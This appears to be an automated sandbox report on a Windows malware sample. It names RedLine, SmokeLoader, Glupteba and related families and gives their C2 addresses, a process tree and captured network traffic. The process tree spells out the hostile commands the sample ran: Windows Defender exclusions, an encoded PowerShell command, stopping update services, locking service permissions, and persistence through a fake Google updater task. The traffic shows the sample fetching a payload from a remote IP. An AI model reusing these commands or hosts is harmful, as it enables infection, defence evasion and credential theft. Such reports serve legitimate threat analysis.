Analysis
-
max time kernel
97s -
max time network
159s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
-
submitted
17/11/2023, 16:05 UTC
General
-
Target
dc62fa6400ed62c5dade12c984fb1ffc.exe
-
Size
1.4MB
-
MD5
dc62fa6400ed62c5dade12c984fb1ffc
-
SHA1
dca996611f340befacb6a109cb7a73685db0f891
-
SHA256
9fe04c074e78b239c33060da79991d31e31c0d4115a7e5e954df096404c35bf7
-
SHA512
f167a48112d92bc12fcc0160c0dca746c6c299e70508cd53a45a53f6609b0df2e645f2f9b2ab59dc71003c0f22d2a926028c2647bb5d0fa7bea46b0afda33cdb
-
SSDEEP
24576:eyABpkkhAzHFKT2JuECkrzH/mG5x4WZuZWgbTY4HQ0ylodfMlE6w24Q7zplN:tkhAzHFKREtrL/mGXHuZWiTY4w0ylRes
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
horda
C2
194.49.94.152:19053
Extracted
Family
risepro
C2
194.49.94.152
Extracted
Family
smokeloader
Version
2022
C2
http://5.42.92.190/fks/index.php
rc4.i32
1
0x4b3b02b6
rc4.i32
1
0x6ea683ed
Extracted
Family
redline
Botnet
pixelfresh
C2
194.49.94.11:80
Extracted
Family
redline
Botnet
@ytlogsbot
C2
194.169.175.235:42691
Extracted
Family
smokeloader
Botnet
up3
Extracted
Family
smokeloader
Version
2020
C2
http://host-file-host6.com/
http://host-host-file8.com/
rc4.i32
1
0x33f8f0d2
rc4.i32
1
0xaa0488bb
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 3 IoCs
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
-
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 10 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
-
SectopRAT payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Stops running service(s) 3 TTPs
-
.NET Reactor proctector 19 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 24 IoCs
-
Loads dropped DLL 4 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Windows security modification 2 TTPs 2 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 3 IoCs
-
Suspicious use of SetThreadContext 4 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Program Files directory 1 IoCs
-
Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\dc62fa6400ed62c5dade12c984fb1ffc.exe"C:\Users\Admin\AppData\Local\Temp\dc62fa6400ed62c5dade12c984fb1ffc.exe"2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Vq4Rw14.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Vq4Rw14.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\MU2Ae27.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\MU2Ae27.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2OP2281.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2OP2281.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4fn811TA.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4fn811TA.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\5Iq7mj5.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\5Iq7mj5.exe4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6Qs8fx8.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6Qs8fx8.exe3⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2164 -s 10724⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1DB4.exeC:\Users\Admin\AppData\Local\Temp\1DB4.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"4⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
- Launches sc.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\23C0.exeC:\Users\Admin\AppData\Local\Temp\23C0.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2846.exeC:\Users\Admin\AppData\Local\Temp\2846.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 7843⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\2B83.exeC:\Users\Admin\AppData\Local\Temp\2B83.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 7843⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\89B1.exeC:\Users\Admin\AppData\Local\Temp\89B1.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\CC87.exeC:\Users\Admin\AppData\Local\Temp\CC87.exe2⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\CFA5.exeC:\Users\Admin\AppData\Local\Temp\CFA5.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\D340.exeC:\Users\Admin\AppData\Local\Temp\D340.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\E14B.exeC:\Users\Admin\AppData\Local\Temp\E14B.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\E6DA.exeC:\Users\Admin\AppData\Local\Temp\E6DA.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /k cmd < Layers & exit3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c mkdir 167535⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Button + Offices + Participants + Foreign + String 16753\Ent.pif5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Duncan + Wagon + Vagina 16753\b5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\662\16753\Ent.pif16753\Ent.pif 16753\b5⤵
-
-
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2164 -ip 21641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3796 -ip 37961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2796 -ip 27961⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcACoALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlAA==1⤵
-
C:\Users\Admin\AppData\Roaming\Items\Current.exeC:\Users\Admin\AppData\Roaming\Items\Current.exe1⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe"C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe" --nt-service -f "C:\Users\Admin\AppData\Local\Temp\csrss\tor\torrc" --Log "notice file C:\Users\Admin\AppData\Local\Temp\csrss\tor\log.txt"1⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
Network
-
DNS8.8.8.8.in-addr.arpaRemote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle -
DNS71.31.126.40.in-addr.arpaRemote address:8.8.8.8:53Request71.31.126.40.in-addr.arpaIN PTRResponse
-
DNS254.105.26.67.in-addr.arpaRemote address:8.8.8.8:53Request254.105.26.67.in-addr.arpaIN PTRResponse
-
DNS95.221.229.192.in-addr.arpaRemote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
DNS241.154.82.20.in-addr.arpaRemote address:8.8.8.8:53Request241.154.82.20.in-addr.arpaIN PTRResponse
-
DNS146.78.124.51.in-addr.arpaRemote address:8.8.8.8:53Request146.78.124.51.in-addr.arpaIN PTRResponse
-
DNS198.1.85.104.in-addr.arpaRemote address:8.8.8.8:53Request198.1.85.104.in-addr.arpaIN PTRResponse198.1.85.104.in-addr.arpaIN PTRa104-85-1-198deploystaticakamaitechnologiescom
-
DNS2.136.104.51.in-addr.arpaRemote address:8.8.8.8:53Request2.136.104.51.in-addr.arpaIN PTRResponse
-
DNS208.194.73.20.in-addr.arpaRemote address:8.8.8.8:53Request208.194.73.20.in-addr.arpaIN PTRResponse
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://lvndofdthmsjm.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 303
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fpwnfuriqmnds.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 151
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 41
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
GEThttp://5.42.65.80/newrock.exeRemote address:5.42.65.80:80RequestGET /newrock.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 5.42.65.80
ResponseHTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 17 Nov 2023 16:06:15 GMT
Content-Type: application/octet-stream
Content-Length: 13147136
Last-Modified: Thu, 16 Nov 2023 21:06:43 GMT
Connection: keep-alive
ETag: "65568463-c89c00"
Accept-Ranges: bytes
-
DNS26.165.165.52.in-addr.arpaRemote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
-
DNS190.92.42.5.in-addr.arpaRemote address:8.8.8.8:53Request190.92.42.5.in-addr.arpaIN PTRResponse190.92.42.5.in-addr.arpaIN PTRhosted-by yeezyhostnet
-
DNS80.65.42.5.in-addr.arpaRemote address:8.8.8.8:53Request80.65.42.5.in-addr.arpaIN PTRResponse
-
DNS15.164.165.52.in-addr.arpaRemote address:8.8.8.8:53Request15.164.165.52.in-addr.arpaIN PTRResponse
-
DNS254.111.26.67.in-addr.arpaRemote address:8.8.8.8:53Request254.111.26.67.in-addr.arpaIN PTRResponse
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://doauvpmjwanesjyt.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 198
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:21 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://knwweputqcslqpyr.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 326
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://wfyiufgjmtnc.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 207
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://bfidemswgufov.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 329
Host: 5.42.92.190
